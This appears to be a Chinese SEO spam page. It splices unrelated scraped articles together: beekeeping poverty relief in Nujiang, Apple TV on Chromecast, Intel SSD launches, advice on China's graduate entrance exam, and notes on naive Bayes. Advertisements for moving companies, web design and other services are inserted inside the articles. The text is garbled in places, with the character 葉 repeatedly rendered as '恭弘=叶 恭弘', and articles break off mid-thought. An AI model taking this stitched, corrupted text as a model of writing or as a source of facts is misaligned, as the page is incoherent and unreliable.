南投搬家公司費用需注意的眉眉角角,別等搬了再說!

上新台中搬家公司提供您一套專業有效率且人性化的辦公室搬遷、公司行號搬家及工廠遷廠的搬家服務

  他指着蜂箱旁邊席地散坐的十餘個村民說:“來培訓的都是建檔立卡貧困戶,免費培訓,我們村幹部要先學會,再教組裡的人。我有信心帶領大家學好養蜂技術,帶動脫貧。”

  老譚,是珠海何伯公司派駐的技術員,負責吉木登村小組培訓。他一身黃色的技術員服,十分醒目。談起養蜂,老譚滔滔不絕:“先要學習分蜂,繁育蜂群,一箱分成兩箱,一群分成兩群,也就幾天工夫。再有十多天就可以產蜜了。”

  “分群就要育王,育王先要製作育王杯。”

  老譚舉起一排蜂蠟製作的蜂巢說:“瞧,這就是育王杯,把一到三天的蜜蜂幼蟲放進去,喂以蜂王漿,長大就是蜂王,再挑選出強壯的放進蜂箱就可以分群了。”

  “新蜂王放進去前,先要把老蜂王關起來,不然會打架。”老譚小心地打開蜂箱,從箱角拿起一個火柴盒大小的白塑料盒,有細欄杆遮攔。細瞅,裏面關着一隻大個頭的黑蜂王。“蜂王個頭大,鑽不出蜂盒,瞧,那幾隻進出忙碌的小蜜蜂在忙着喂它呢。”

  “蜂群如果沒有蜂王,蜜蜂就會四散而去。剛放的新蜂王需要老蜂王壓壓陣容,等到新蜂王立穩了,就可以和老蜂王分開,分出新的群。蜂群多,產蜜才多啊!”

  我好奇地問:“為什麼老要換新蜂王呢?”

  “蜂王壽命三年,繁殖能力下降。新蜂王年輕力壯,蜂群的繁殖就快。年輕的蜂王一天多的可產八百多粒子。”

  面對眾人的好奇,老譚小心翼翼取出一巢框蜜蜂給我們看,巢框密密麻麻爬滿蜜蜂。蜂王早早躲藏起來。他指着巢框白色的部分說:“白色的是蜂蠟,下面覆蓋的就是蜂蜜。取蜜時要先割掉蠟。黃色的部分是花粉,哺喂花粉長大的就是小蜜蜂。”

  “蜂蜜是蜜蜂的糧食,人類都取走後,蜜蜂怎麼辦?”

  老譚笑着說:“不用擔心,每次取蜜,都會給蜜蜂留口糧的。蜜蜂雖然很勤勞,但是,當蜂蜜充足的時候,蜜蜂也會懶惰不再工作。人們取走蜂蜜后,小蜜蜂就又會辛勤勞動了。”

  我開始為蜜蜂着迷。蜜蜂的團結合作、勤勞奉獻,給我留下了深刻印象。它們以自己獨特的方式“參与”到東西部結對扶貧事業中。今年,珠海投入幫扶資金三千多萬元,向怒江一百八十七個養殖點贈送一萬八千餘箱蜜蜂。村裡每個建檔立卡貧困戶可分到五箱蜜蜂,按一箱年產十斤蜜、每斤五十元計算,一戶年收入兩千五百元。如果學會分箱技術,收入就更高,並且由何伯公司以保底價收購。貧困戶可以採取承包養、合作社養等多種方式。

  “收蜜啦,收蜜啦!”山花綻放,老窩河歡快地匯入怒江,清脆的歡呼聲傳遍山林。瀘水新寨村的養蜂點,第一次收蜜就搖出三百斤純蜜,不等收購,被本地市場一掃而光。去年,怒江三十個養殖點,就幫扶建檔立卡貧困戶一千五百多戶,六千五百多人受益,其中七百四十多人當年脫貧。

  養蜂扶貧賬,越算越開心。“這中間還有個小曲折,剛開始貢山縣個別同志對引進外地中蜂養殖有疑慮,我趕到縣裡組織養蜂座談會,從科學角度作解釋,說服大家同意引進珠海中蜂養殖。”梁老的一番話解開了謎底,“過去怒江人也養蜂,是從樹洞、岩穴里的蜂窩獵蜜取子,毀巢取蜜,方法原始。如今科學馴化養蜂,送蜂上門、技術幫扶、保底收購,加上其他種養項目,收入倍增,很快邁上脫貧奔小康之路……”

  短短几天,我目睹了峽谷萬物從不放棄生長的強大生命力。樹木枝繁恭弘=叶 恭弘茂,灌木千姿百態。野薔薇,就跟裝了彈簧似的,要蹦到太陽身邊去。萬物生長,增添了我對蜜蜂的喜愛,也啟迪我找到了此行的收穫:扶貧一定要扶到群眾心坎上。只有切合實際的精準扶貧,村民收穫才會更大。不僅要扶智扶志,還要做好技術服務,這樣扶貧會更有生命力。

  養蜂的知識還沒學夠,催生植物的雨水又到了,滴滴答答地送來了漫山遍野的花期。像蜜蜂抓緊花期釀蜜一樣,怒江也到了脫貧攻堅的關鍵期。讓我感動的是,梁老以七十七歲高齡與三百多名珠海扶貧幹部一起,奔走在怒江的高山峽谷間,為消除貧困而跋山涉水。珠海市三年來在此地投入幫扶資金近九億元,支持了養蜂、中藥種植、蔬菜基地、扶貧搬遷等四百多個扶貧項目,帶動建檔立卡貧困群眾兩萬多人脫貧。當地群眾正在擺脫深度貧困,迎來新的歷史性跨越。

  望着飛來飛去的小蜜蜂,我也忽然想到,這些勤勞的小蜜蜂知不知道自己的辛勤勞動,也是在為怒江脫貧攻堅而釀造甜蜜的未來呢?

本站聲明:網站內容來http://www.societynews.cn/html/wh/fq/,如有侵權,請聯繫我們,我們將及時處理

※產品缺大量曝光嗎?你需要的是一流包裝設計!

窩窩觸角包含自媒體、自有平台及其他國家營銷業務等,多角化經營並具有國際觀的永續理念。

Apple TV 確認降臨 Chromecast with Google TV 電視棒_網頁設計

※推薦評價好的iphone維修中心

擁有專業的維修技術團隊,同時聘請資深iphone手機維修專家,現場說明手機問題,快速修理,沒修好不收錢

2020 雖然是很O的一年,但同時也是各廠更願意正視居家娛樂與通訊交流的一年。至少除了各種通訊服務與視訊功能以外,今年我們更開始看到 Apple 服務開始在各種平台上廣為散佈。而在蘋果開放讓 Apple Music 正式登陸 Google Nest 智慧喇叭後(雖然台灣還沒看到選項 QQ),現在則是輪到了當今最流行的電視串流棒之一 Chromecast。繼續閱讀 Apple TV 確認降臨 Chromecast with Google TV 電視棒報導內文。

▲圖片來源:Google

Apple TV 確認降臨 Chromecast with Google TV 電視棒

可能是現階段可以用最低成本(最新版 Chromecast 僅美金 49.99 元,也就約台幣 1,500),就能讓電視升級成能觀看 Apple TV 的智慧電視的途徑 — 雖然,還要等到 2021 年初才會更新(反正台灣還不能直接買囉)。

Google 今天在官方部落格宣佈 Apple TV app 將正式支援 Google 電視棒產品的消息。而首個支援的產品則是最新直接提供遙控器的 Chromecast with Google TV — 想知道它好不好用的,可以參考我們的 Chromecast with Google TV 開箱體驗(傳送門)。

雖然確定會不會支援更多之前的 Google TV 串流裝置(希望可以)。不過在 Apple TV app 正式登上 Chromecast 後,訂閱蘋果影視串流服務的使用者,將可以輕鬆以遙控器或是語音的方式瀏覽觀看 Apple TV+ 的各式影片內容。

現階段 Apple TV 登上各平台的速度真的遠超過以往,近期已經有不少電視產品直接內建(最新的應該是 Sony BRAVIA 系列宣布提供此支援);主流家用遊戲主機 PlayStation 更是不僅在最新的 PS5 上架 Apple TV app,甚至也往下支援 PS4 舊款主機。不得不說,這對於愛用 TV+ 的朋友們而言真的是很棒的發展趨勢啊。

本篇圖片 / 引用來源

延伸閱讀:

網頁設計最專業,超強功能平台可客製化

窩窩以「數位行銷」「品牌經營」「網站與應用程式」「印刷品設計」等四大主軸,為每一位客戶客製建立行銷脈絡及洞燭市場先機。

Chromecast with Google TV 快速開箱動手玩,讓失智電視也聰明起來

Google Home / Nest 智慧喇叭開始支援 Apple Music

您也許會喜歡:

【推爆】終身$0月租 打電話只要1元/分

立達合法徵信社-讓您安心的選擇

台北網頁設計公司這麼多該如何選擇?

網動是一群專業、熱情、向前行的工作團隊,我們擁有靈活的組織與溝通的能力,能傾聽客戶聲音,激發創意的火花,呈現完美的作品

Intel 發表新一代 Optane SSD 系列,並同步推出三款採 144 層單元 TLC、QLC 的新款 SSD_貨運

※評比南投搬家公司費用收費行情懶人包大公開

搬家價格與搬家費用透明合理,不亂收費。本公司提供下列三種搬家計費方案,由資深專業組長到府估價,替客戶量身規劃選擇最經濟節省的計費方式

等了許久的時間,Intel 終於推出了新一代 Optane SSD 系列,分別為專為資料中心設計的 Intel Optane SSD P5800X,以及專為消費端打造的 Intel Optane Memory H20。另外,這次還同步亮相 3 款導入 144 層單元的 NAND SSD。

Intel 發表新一代 Optane SSD 系列與三款採 144 層單元的 SSD

Intel Optane Memory H20 結合 Intel  Optane Memory 與 Intel QLC 3D NAND 技術,為下一世代輕薄筆電所設計,可放入更有限的空間內,透過 PCIe 的高效傳輸速度,讓使用者體驗到更快的反應速度,如:搜尋檔案、執行應用程式等等:

Intel Optane SSD P5800X 是 Intel 首款導入 PCIe 4.0 控制器的 SSD,相較於前一世代產品,效能上提升 3 倍以上,並擁有更出色的耐用性:

D7-P5600 與P5800X 的 KIOPS 差異:

而 3 款 144 層單元的 NAND SSD 分別為:「Intel SSD 670p」、「Intel SSD D7-P5510」與「Intel SSD D5-P5316」。

Intel SSD 670p 採用 144 層 QLC 3D NAND 設計,提供端到端資料保護與 Pyrite 2.0 的安全性和斷電通知:

跟上一代 660p 相比,670 的動態 SLC Cache 提升 11%:

※智慧手機時代的來臨,RWD網頁設計為架站首選

網動結合了許多網際網路業界的菁英共同研發簡單易操作的架站工具,及時性的更新,為客戶創造出更多的網路商機。

Intel SSD D7-P5510 為全球首款 144 層 TLC NAND 設計的 SSD,專為雲端高容量儲存市場打造,具備 U.2 外型,容量部分有 3.84TB 與 7.68TB 兩種選擇,也內建改進後的裝置健康監控,預計 2020 年底開賣:

Intel SSD D5-P5316 是業界首款針對大容量儲存裝置研發的 144 層 QLC NAND SSD,每個晶粒具備 128GB 容量,預計提供 15.36TB 與 30.72TB 兩種容量。而藉由 QLC 優勢,相較於傳統硬碟不僅提升 200% 的讀取效能與 38% 隨機讀取效能,也降低 48% 的存取延遲。外型方面有 U.2 與 E1.L 兩種,預計 2021 上半年開賣:

至於詳細推出日期與價格部分目前都還不知道,但猜測離開賣時間越近,Intel 就會公布更詳細的售價資訊。

部分圖片來源:anandtech

Intel Evo 平台認證筆電精銳盡出,絕佳效能讓你搶佔先機

您也許會喜歡:

【推爆】終身$0月租 打電話只要1元/分

立達合法徵信社-讓您安心的選擇

※回頭車貨運收費標準

宇安交通關係企業,自成立迄今,即秉持著「以誠待人」、「以實處事」的企業信念

考研經驗分享(上岸南理工)_包裝設計

南投搬家公司費用需注意的眉眉角角,別等搬了再說!

上新台中搬家公司提供您一套專業有效率且人性化的辦公室搬遷、公司行號搬家及工廠遷廠的搬家服務

 

前言

對於很多人來說,考研(升學)是一個不可避免的話題,這其中也面臨着很大的抉擇和猶豫之中。如果是其他專業的話,這方面的猶豫和掙扎可能少一點,但是對於計算機專業的我們來說,這方面的猶豫可能會更多一些。今天藉著這個話題聊聊考研以及自己路途的所見所聞。以下均代表個人意見,請斟酌查看!

為什麼考研

首先,對於考研的群體來說,大致可能分為下面幾種類型:

  • 提升學歷、學校層次、擴大更好機會
  • 深入研究科研(算法類),不想搞工程
  • 不想工作,也沒工作技能,考研緩衝
  • 跟風考研

對於上面的幾種類型,你要弄清楚你當前階段想要的和得到的是什麼,不滿足的是什麼。考研的選擇你要充分考慮你自己的需求,而你自己當前的能力水平、學歷學校層次、家庭條件、熱愛技術的方向等等因素都是需要你進行綜合考慮的。

首先計算機專業的考研我一直覺得一定要慎重選擇的。這是一個機會的選擇問題

  • 首先考研肯定有風險,風險也挺大,好的學校報考人數較多,這是其中一個需要進行考慮得東西
  • 其次考研基本就是要放棄大三暑期實習生招聘、大四秋招。然而在這個期間很多大廠、互聯網企業會提供很多機會、優質的待遇。如果實例夠強、運氣不那麼差還是有很大機會找到心儀的工作的。
  • 還有很多人懷揣夢想想搞算法,到了研究生階段沒有自己的方向跟着導師盲目研究,就業時跟985本碩等其他大佬競爭,難。
  • 還有成長平台的問題,三年(兩年半)時間。你可能會遇到0成長外包,也可能遇到高成長上進的公司。也可能遇到伯樂研究三年,也可能給了低微的報酬幫導師打三年的工。
  • 最直接的就是錢的問題。工作存款和升學消費這也是挺大數據的一個對比。

當然,考研是有很多好處的,比如提升學歷,提升學校,更多機會,更優秀的圈子等等。

對於我為啥考研其實原因也挺多:

  • 首先,從我自己來說很想擺脫雙非的帽子吧,想在研究生專心搞一些自己更喜歡的東西,然後有更大的機會進大廠
  • 其次,地處農村,身邊高學歷確實不多,這個不累述懂就行了吧。
  • 最後,在考的時候有算法夢,但考完之後還是打算工程,但是多認識一些人,擴個圈子、和有趣的人做些有趣的事也是一方面目的。

擇校選擇

考研擇校一般在考研初中期決定,一個學校也能部分的代表考研的價值和含金量,但是這個考研很容易部分學校扎堆,部分學校沒人考這種。

首先我覺得要考研的話就是要對學校層次定位,這個分為主觀和客觀條件。

  • 從客觀來講,考研群體擇校大致是這樣的:二(三)本更多報考部分211或一本,一本報考更多部分985或211,211報985更多一些。也就是大部分人考研選擇的層次都比自己當前院校強一點或高那麼一個層次。
  • 從主觀來講,要看你個人的學習能力和決心,你如果處在專業頂尖的存在和期望,那你可能比普通的同等次的人擇校高一些層次,還有有些懷揣名校夢的大佬肯定選擇也會不同。別太飄也別太慫了。
    在這裏插入圖片描述

其次就是同層次院校的(區域)選擇問題:

  • 考研分旱區和澇區,差不多水平院校有些地方的研究生可能要比有些地方的好考一些,比如東北地區,西部等地區有些985,211上岸的難度還是很可觀的,而幾大直轄市、江浙以及部分發達地區和城市的院校報考的真是扎堆。這真的挺讓人糾結的:學計算機當然在大城市,發達地區更好,但這些地方的院校競爭太大 考的性價比還不如部分其他地區,這就讓人進退兩難。同時自己也要考慮好自己是否有地域偏好等問題。

最後學校的專業也考客觀考慮一下,某些院校的不同專業、專學碩考起來的難度也不同,當然有的學校偶爾可能爆熱,,有時也可能爆冷。

幾個問題

有個別學弟妹問幾個問題在這裏闡述一下。
是否需要報班?

  • 可以但沒必要,報班挺貴的,你跟着身邊研友,看着各個老師出的視頻、練習跟上進度(用某度雲可以嫌慢偶爾開個會員)。就差不多了,報班有作用但個人覺得這個短期衝刺每天都在高強度學習自我規劃好完全沒必要去花那一大筆錢,加個該校考研群,買個資料進個vip群就行了。可能也就2-3百左右然後還有他們學校專業課歷年試題之類。

怎麼確定自己要報的方向?

  • 這個挺重要,有的學校其實進去之後方向每那麼明顯主要跟導師,但有的學校計算機和軟件可能不在同一個校區(地區),有的可能支持校內調劑,並且有的專碩、學碩年限可能相同或不太相同,但是我個人覺得:學校相比來說更重要些,學院專業次之。能狗進去就好。當然,能選擇好的地理,教育資源當然最好,具體政策要看你報考的學校了。

對自己報考的方向知識淺薄,複試是否會受影響?

  • 有點影響但不致命,如果考名校那可能壓力比較大,每年跨考計算機上岸的其實都挺多的,不過跨考或者你專業技能較弱在複習無論初試還是複試可能要花更多時間,更累。當下定決心、肝就完事了,千萬不要因為跨考、專業知識薄弱自卑。其實客觀來說,考研的除了個別真的強,大部分其實是偏向本科期間考試偏強的那部分人。很多專業技能強得要麼保了,還有進大廠了。剩下考研群體強得,多但是沒那麼多。所以你跟他們的差距真的沒那麼大。好好準備,好好學習沒啥問題,別擔心!

如何正確看待分數:

  • 分數這個東西,不同專業、不同省份、不同學校都可能不同,不能只光光拿分數來看,有的省份政治英語壓分,這就低一些,有的省份(學校)專業課偏難,均分降低這分又低了,分數只能代表部分或者其他大部分人水平但是絕對不能代表所有的水平。

初試準備

談起準備,老學長不由得羞愧起來,我是去年7月份初才真正意義上開始準備考研,並且在準備初期做了無用得功——不看視頻直接看書刷各個章節測試,這樣也浪費了幾天後來開始買了1000題跟着宇哥得視頻開始刷題。

準備開始時間問題

  • 這個準備得時間,當然是越早越好,但是個人覺得大三下部分時間+暑期+大四上時間上應該是足夠了,當然奮戰清北復交那種或者專業課爆炸多、難那種另外可以特殊考慮。如果專業課2門,其實暑假開始時間上還行,如果專業課比較多,那建議提前開始。比如我的專業課三門,然後開始準備比較晚,效率也不是很高,專業課考的就比較一般。
  • 另外,如果對數據結構、高數掌握不太好得童鞋一定要提早開始,因為這兩門佔用得時間相對較多,學習起來較慢,如果開始得很晚如果學習時候遇到障礙,(隊友研友如果都掌握了)心態很可能會崩塔。這時就要穩住心態了。我很多研友在大三下就開始準備很多,等我複習得時候暑期他們高數和1800的高數部分都差不多了,當他們開始線性代數的時候我還在搞高數,晚上跑步時候他們談論線性代數的問題,,我啥都聽不懂。。。。插不上一句話。。。。在這裏插入圖片描述
  • 當然最後如果此時看到的你如果非常想考研,也是不晚的,也有部分人開學后三四個月上岸,這取決於個人當前學習能力和知識儲備決心。當然,未雨綢繆肯定最最穩妥的做法。

對於學科的看法,我覺得最主要要穩住的就是數學、專業課,英語政治順帶搞搞就行。

數學:

  • 個人覺得考研最重要的就是數學了。講真,英語政治只要稍微搞搞,那種差距沒那麼明顯(個別大佬請pass此條),主要數學不能炸,數學最近幾年是一年容易一年難,但是總體難度還是趨向上升的階段,在這個時間段內你能否以平和的心態寫完這張數學卷,或者會算就是算錯,那是非常傷的。
  • 對於高數的複習,可能近半時間都在搞得是高數,大部分暑假當然也是在搞高數,刷完1800或1000或者其他配套的練習,至於跟誰的視頻,我覺得各個老師風格不同,蘿蔔青菜,各有喜愛,我當時跟的是宇哥。高數怎麼開始?就是看視頻+刷題,就是看視頻+套公式刷題+總結+回顧。簡單粗暴而又高效。對於比較好的習題冊,1800、1000題(難一點)、660比較適合開始。開學后可以閉關修鍊之類強化,最後真題模擬題開涮。
  • 高數還是要搞得穩一點,提高速度和正確率,掌握部分偏難題,有些卷子可能容易一些,如果考難了可能會比較懵逼會直接爆炸。我有些研友平時就刷高數基礎題,難題不碰他說考研難得也做不出來,結果20考研這卷子他就炸了。。。
  • 線代跟李永樂老師就得了
    在這裏插入圖片描述

專業課:

專業課這個地方也有坑的,專業課的難度看學校。有的學校專業課門數多,還難那種我們俗稱壓分,所以有時候我們有時經常聽到 誰誰考了啥350360複試都沒進,,還有時候聽到誰誰310320都上岸了某好學校。這個雖然專業課不是全部,但是佔大部分。

專業課難度:

  • 有的學校專業課真的考的又難又多門數也多(我就是),上岸的人專業課可能專業課均分只有8090分,這樣的直接影響就是你的整體分數會被拉低不易調劑,如果專業課均分90和專業課均分130的那就是40分的差距,,如果這個人320涼了可能不一定好調劑,,但是360涼了調劑相比320肯定選擇就多了很多,調劑不看專業課是啥,只看分數。有些院校、區域可能都有這種壓分的傾向,所以在報考時候也要慎重選擇,考慮清楚。如果你是一鼓作氣只想該學校,那就沒啥顧慮,如果你是只想有更好的學上,那就得認真打聽了。

數據結構:

  • 這門專業課應該是計算機必不可少的,專業課都可以使用王道或其他專業考研教材刷題都挺好的,如果數據結構基礎較好,那麼學起來、刷起來可能會容易很多,如果基礎不太好,多看看視頻。在這裏推薦B站,哪裡不會搜哪裡,數據結構的話青島大學的王卓老師講的課程真的挺好的,當然鄙人也總結了部分各位可以觀摩,我當初就用個平板忘記了就看看,不過我有數據結構的基礎,在這方面也沒花太多時間。
  • 不過可能很多人的數據結構可能並不是很好,尤其是入門時候可能很痛苦,抽象的鏈表二叉樹搞不明白,遞歸算法想不通順。剛開始入門需要多看基礎類的視頻和博文,看的多了慢慢就消化了,總的來說這就是一個時間花費的問題。如果你是大二或者大三上看到此文章,這或許也是n年後的事情,提早刷題、多刷題還是非常有必要的,有算法基礎學數據結構其實還是很容易的。

買對應學校資料

※產品缺大量曝光嗎?你需要的是一流包裝設計!

窩窩觸角包含自媒體、自有平台及其他國家營銷業務等,多角化經營並具有國際觀的永續理念。

  • 考研除了408統考之外基本各個學校各自出題這樣,都是他們學校自己的老師出題,那你搞到他們的題庫和歷年真題就是很重要了,加入他們的考研群、購買他們的考研專業課資料、試題很有必要的。跟着王道學完一遍專業課到了秋天就要抱着他們歷年考研試題,期末試題等進行研究了。當然有些學校沒歷年真題但是只有回憶版,你要通過他們學校的學長的考研小機構進行操作一番了。重要一點:他們學校真題和題集很重要! 你的考研專業課試卷可能就是他們學校普通2-3門科目的期末考試組合起來的一張試卷。所以考本校的話專業課這方面優勢可能要大一些的。

英語

英語這個東西比較玄學,有人天生英語好,不努力不怎麼花試卷也能每次都考的不行。英語個人覺得前中期每天早晚稍微背背單詞就行了,但是對於可能很多二本的學弟學妹們可能英語是個必殺砍,這樣的話你們就要在英語方面每天堅持花時間背單詞。然後有時間搞搞其他模塊。

對於英語整張試捲來說,無聽力,完型分值較低,閱讀理解佔比最大,差距都靠閱讀理解拉開。20個閱讀理解每空2分,學的好的人可能錯4個以內(篇均錯1以內),有的人每篇5個平均錯2個那就錯8個,這樣8分差距就出來了。所以有時間多練閱讀理解即可。

歷年真題考前做完。而我英語的複習比較懶,,單詞沒怎麼背,,真題就做了10-19的前面部分。。新題型考前一天做了兩篇,,大小作文考前一晚整理模板,,,說來真慚愧。這樣準備導致最終結果也很一般,各位一定要提早準備好該準備的東西。。

在這裏插入圖片描述

政治

政治最後搞,考前一兩個月這樣搞搞,部分不理解的地方可以看徐濤老師視頻(不用全看),本來想背濤哥 核心考岸,後來說等肖8背肖8,後來又覺得肖8大題太多背肖4,,再後來覺得肖4所有題還是有點多再背重點題,,不重點的看看,,最後考試時候瘋狂胡扯、瘋狂套就得了。。當然,政治選擇題其實有點難的,想拿高分也得花時間的,要根據自己需求去中和時間。

總結

對於各科來說,數學和專業課是拉分較大的地方(重點關注),政治和英語可能是個別人 的強勢(不建議頭鐵花太多時間,個別大佬例外)。跟着各個考研老師的大節奏,穩重求進。前期剛高數,中期高數專業課,後期習題真題各科齊頭並進。考前多看看專業課(類似考前突擊)。

複試準備

對於不同學校,複試內容也不同,各個學校複試佔比也不同,有6:4的,還有5:5的。雖然初試很重要,但是複試的落差也可能造成不小的波動。我們常看到某新聞,某某某高分被刷,那可能真的就是以為自己穩了複試隨便搞結果涼涼了。有的學校複試有機試、筆試。有的可能主要面試。並且有機試的一定要準備好因為機試拉分比較大,筆試也是同樣的。對於大部分的複試來說都是公平的,但是有些院校不保護一志願,比如蘭某大學,寧某大學。大量等待雙985調劑生的學校也是存在的,這些也要慎重考慮。

如果時間來得及,提升硬實力還是很有必要的,多參賽,多證書,GPA高點,四六級好點也都挺好的。

我的南理準備

專業課

我是考的20軟工專碩,本來是825(數據結構+操作系統)然後在7月初轉成824(數據結構+操作系統+離散數學),因為數據結構有基礎,但是我的複習進度比較慢,9分月開開始操作系統的複習,10月份才開始離散數學的複習,離散對於剛開始的我確實是蒙的一批,都不知道怎麼搞了。因為離散的那本書的內容太多了,課後習題也比較多,後來還好找到了一份答案再繼續看。

對於專業課的複習,我剛開始就是第一遍跟着王道把數據結構和操作系統學完題目做完。9月(可以早點)後來就做他們學校的考研專業課資料了,我買的是蘭碼計算機考研資料。價格其實算算的話也還行。關鍵是買了資料後進群就有一群同樣考研的人,你不進去的話別人都在討論的問題每天的進度都有一定約束力。並且一些注意點的話,學習資源之類也可以分享,雖然表面上各個確實是競爭對手,但實際上還是比較熱心的幫助的。並且裏面學長的話也會分享很多經驗可以借鑒。可能各個學校都有這樣的群,加入其實還是很有必要的。

不過我自己最後考研專業課有點難,考的懵逼炸了,比估分低了20,,分數出來就知道涼了,然後就投身 苦逼的春招去了。。

南理考研

對於很多網上黑理航倆兄弟,怎麼說,大部分還行,可能以往複試、出成績就是有點慢吧。就今年來說,計算機和軟工擴招挺多,複試線290左右(專業課均分低)。競爭雖然挺高但是光看分數來說其實還行。因為咱們這種低分黨比價多所以有點危險,但是你如果準備充足,選擇對的方法、找的對的隊友。其實來說也還行。並且複試來說流程非常公平的。至於找不找導師其實都是錄取后的事情了,,因為錄取前導師一般不會理你,或者最多說:加油,請錄取后再聯繫之類。複試有筆試、機試、面試適合能力較強的人準備。

在這裏比較吹一波南理的考研群確實是挺好的,裏面的學長挺負責人也挺人性化的,基本複試的內容群里也都分享ppt之類的資料,也會帶領大家進行刷題,其實很多小白在這麼疫情幾個月的訓練算法提升確實挺大挺有收穫的。

其實每個學校可能都有那麼些挺好的組織,這個需要你來斟酌,如果你想考南理的話可以加他們蘭碼的企鵝號(良心推薦)801169280

結語

對於我自己來說,,我是渣渣中被擴招擴進來的幸運兒,,本來初試成績在擴招名次之外差10名,然後得知進複試準備複試內容(10分鐘筆試,8分鐘機試,10+分鐘面),也是疫情影響遠程複試。不過最後順利的逆襲綜合成績前進了20名進了(所以務必好好準備複試)。本來都簽了工作也準備解約了。確實蠻幸運的。

通過找工作那麼久了解市場、需求。結合自身的特長和能力,還是在研究生階段打算搞工程,算法工程師還是太難了,其實工程相對來說對更多人來說可能真的挺好的。不少無方向啥都不懂進去就是跟導師搞算法,結果最終搞着搞着根本不夠格作為一名算法工程師還是去搞開發,何必呢!所以無論搞啥一定要有自己選擇的目標和方面,分析市場,分析自己。包括考不考研也是一樣的問題!

在這裏插入圖片描述

在考研過程,感謝所有認可和支持認為我還行的人,以及身邊的研伴和朋友的支持。後面我會繼續知識輸出,歷所能及得分享!

在這裏插入圖片描述
下面是20年和前幾年考研學長統計得一些情況:
在這裏插入圖片描述
最後,我是一枚幸運的渣渣,只是運氣好而已在最底層僥倖上岸。如果是看到的你,奉勸:要早、要堅持、要進群、要有隊友。我想起崔的一首詩:

 

  • 昔人已乘黃鶴去,此地空餘黃鶴樓。
    黃鶴一去不復返,白雲千載空悠悠。

未來是你們的,不管考研與否,向著自己喜歡的東西和方向,加油!

歡迎關注微信公眾號:bigsai 一直分享技術和經驗的bigsai哥哥。

在這裏插入圖片描述
在這裏插入圖片描述

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

※自行創業缺乏曝光? 網頁設計幫您第一時間規劃公司的形象門面

網動廣告出品的網頁設計,採用精簡與質感的CSS語法,提升企業的專業形象與簡約舒適的瀏覽體驗,讓瀏覽者第一眼就愛上她。

04_樸素貝恭弘=叶 恭弘斯算法_網頁設計公司

※如何讓商品強力曝光呢? 網頁設計公司幫您建置最吸引人的網站,提高曝光率!

以設計的實用美學觀點,規劃出舒適、美觀的視覺畫面,有效提昇使用者的心理期待,營造出輕鬆、愉悅的網站瀏覽體驗。

  今天是2020年2月4日星期二,全國確診人數達到了20471例,確診人數從一萬例到兩萬例,只用了三天啊,疫情比想象的嚴重的多啊。影響程度早早超過了非典,普天盛世之下的堂堂中華,也會爆出如此疫情,人類還是弱小,微生物才是地球的主宰啊。

  看了一下樸素貝恭弘=叶 恭弘斯算法,這次的深入學習,發現了許多之前學習忽略的地方,在這裏先簡單敘述下感想。看了很多資料講樸素貝恭弘=叶 恭弘斯是生成模型,那就有必要和判別模型做一下對比,通常說判別模型,它是通過“輸入特徵x”直接學習“輸出y”,也就是直接學習輸出y和特徵x之間的映射關係。比如說判斷來診人員A是否需要輸液,k近鄰算法僅僅根據來診人員A的輸入特徵和哪幾個最近鄰節點的特徵相似,直接多數表決判斷A的類別是否需要輸液。(這裏用k近鄰算法作為例子,有點不妥,因為k近鄰沒有顯式的學習過程,決策樹章節再分析這個問題)。

  樸素貝恭弘=叶 恭弘斯作為生成模型的代表,需要先找到輸入特徵x與輸出y的聯合概率分佈,也就是生成一對數據(x,y)的方式。再計算y在輸入特徵x的條件下的出現概率,比較不同類別y的大小,哪個類別的y大,未知數據就屬於哪個類別。這裏首先要解決聯合概率分佈是什麼,接下來是條件分佈,最後執果索因是什麼,也就是怎樣理解結果對原因產生影響,解決了這三個問題,相信就能夠對生成模型,有一個大概的了解。

  在正式開始吃李航老師的書本內容前,先解決一下概率知識上的盲點。這部分內容僅作參考,因為概率課是水過的…數學二也沒有考概率,只是在學習機器學習前簡單看了下概率…

  我們用P(A)記為事件A發生的概率,P(A∩B)記為事件A和事件B同時發生的概率,稱為聯合概率,P(A|B)記為在事件B發生的前提下,事件A發生的條件概率。這裏的事件A和B不一定具有因果或者先後序列關係。通常我們在描述某個事件發生的概率的時候,其實總是默認了該事件所在的樣本空間,現在我們需要重新理解一下這個概念,樣本空間是一個實驗或隨機試驗所有可能結果的集合(樣本空間的任何一個子集都被稱為一個事件)。我們說P(A)是事件A發生的概率,不能離開事件A所處的樣本空間,如維恩圖中藍色框部分,事件A的概率P(A)其實是指在樣本空間Ω中,事件A部分佔樣本空間Ω的比率。

  在樣本空間Ω下,事件A和事件B同時發生的聯合概率P(A∩B)也就是圖中A∩B部分佔樣本空間Ω的比率。來看一下條件概率P(A|B),也就是在事件B發生的前提下,事件A發生的概率,P(A|B)與P(A)的區別在哪裡?很明顯,是條件事件B。在維恩圖中怎麼理解呢?前文提到了樣本空間,這裏的重點就在於樣本空間的變化。在P(A)中,指的是A部分佔樣本空間Ω的比率;在P(A|B)中,有了一個前提,需要事件B先發生,也就是排除了原來樣本空間Ω中B部分以外的區域。換句話說,條件的存在意味着樣本空間的縮小,那麼P(A|B)也就是A∩B部分(事件A、B同時發生,包含了事件A發生)佔新的樣本空間B的比率。P(A)與P(A|B),除了樣本空間的變化,是否存在定量關係呢?這裏我們用公式看一下比率關係,用sizeA表示維恩圖中A所在部分。

  可以得到:

  哎,這就有意思了。通過公式的定量表示,我們可以看到事件A在附加了條件下,也就是樣本空間縮小的情況下,P(A)與P(A|B)存在一種定量關係。這裏大膽的把這個定量關係作為附加條件B之後的調整因子。其實這就是貝恭弘=叶 恭弘斯公式,只是換了一個角度進行理解,一千個讀者一千個哈姆雷特。

  在貝恭弘=叶 恭弘斯公式中,P(A)稱為先驗概率,P(A|B)稱為後驗概率。我的理解是這樣,先驗概率P(A)是在事件B發生之前,對A事件的一個判斷,一般來說是我們對數據所在領域的歷史經驗或者常識,這個經驗或者常識對該事件發生的概率難以量化,但我們可以對它進行假設;后驗概率P(A|B),是事件B發生之後,對事件A發生概率的重新評估。后驗概率也就可以理解成:后驗概率=先驗概率×調整因子,通過調整因子,讓預估概率更接近真實概率。

  寫到這裏,大概可以對聯合概率、條件概率、貝恭弘=叶 恭弘斯公式有個簡單的理解了,但是好像還沒有扯到生成模型什麼事,這就來扯一扯。

